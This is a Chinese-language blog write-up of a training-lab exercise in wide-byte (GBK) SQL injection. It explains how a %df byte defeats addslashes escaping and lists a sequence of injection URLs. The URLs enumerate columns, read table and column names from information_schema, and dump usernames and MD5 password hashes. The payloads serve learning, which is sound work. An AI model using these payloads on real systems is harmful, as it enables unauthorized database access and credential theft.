墨者学院sql注入(宽字节注入)
- 闲谈
- 0x00 判断注入点:
- 0x01 原理解析:
- 0x02 构造payload:
- 附录
闲谈
刚毕业,非科班出身,网络安全小白一名,第一次写笔记记录下自己学习的点点滴滴,写的不好大佬勿喷。
0x00 判断注入点:
其实没有什么判断的,因为之前做的注入点都存在与下图界面,图1:
因为题目提示是宽字节注入,所以可能会用到%df ,%e5%5c,%e9%8c%a6。
注入点存在于url:http://219.153.49.228:42636/new_list.php?id=1
判断是否存在注入,如图2:
0x01 原理解析:
构造payload如下:
http://219.153.49.228:42636/new_list.php?id=1%df%27%20or%20%271%27=%271
结果如下图3:
发现在url中每个 ’ 前都被插入转义符\,推测使用addslashes函数进行转义,addslashes()会在预定义字符前插入转义符号,预定义字符:单引号(’),双引号("),反斜杠(\), NULL。
而%df与转义字符%5c集合会被gbk编码为汉字‘運’,所以单引号%27逃逸。
0x02 构造payload:
Payload:
http://219.153.49.228:42636/new_list.php?id=1%df%27%20order%20by%205%23
判断字段。
http://219.153.49.228:42636/new_list.php?id=-1%df%27%20union%20select%201,2,3,4,5%23
判断回显字段,发现回显字段在3处,截图如下:
http://219.153.49.228:42636/new_list.php?id=-1%df%27%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),4,5%23
爆表名(因为表明不只是一个,所以使用group_concat函数将表名拼接),截图如下:
http://219.153.49.228:40038/new_list.php?id=-1%df%27%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x73746f726d67726f75705f6d656d626572),4,5%23
爆字段名(不要在意为啥端口不一样,因为出去吃个饭,靶场关了。。。。至于为什么是16进制来表示表名,因为引号被转义了,所以使用16进制,为什么不接着用%df,前文说过了%df%5c会被编码为汉字‘運’,那样就变成了:table_name=運’xxxxxxx運’,根本查询不到东西),截图如下:
http://219.153.49.228:40038/new_list.php?id=-1%df%27%20union%20select%201,2,(select%20group_concat(name,password)%20from%20stormgroup_member),4,5%23
爆字段,截图如下:
图7
MD5加密的密码,emmm,解密,登录,美滋滋。
附录
宽字节原理-参考链接: https://blog.csdn.net/qq_29419013/article/details/81205291.